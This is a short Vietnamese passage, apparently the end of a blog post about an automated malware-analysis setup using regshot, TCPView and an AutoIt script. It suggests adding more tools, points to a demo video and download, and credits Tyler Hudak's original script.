Trong hệ thống chỉ sử dụng hai công cụ phân tích đơn giản là regshot và TCPView, do vậy để hệ thống có thể phân tích tốt hơn và sâu hơn thì sẽ sử dụng những công cụ khác, với nhiều tính tằng hơn và thay đổi kịch bản AutoIt cho tương ứng những công cụ thêm vào.

VI. Video hệ thống đã thực hiện
seamoun đã xây dựng xong và chạy thử nghiệm các bạn có thể download tại đây

Bài viết có tham khảo và sửa đổi kịch bản của tác giả Tyler Hudak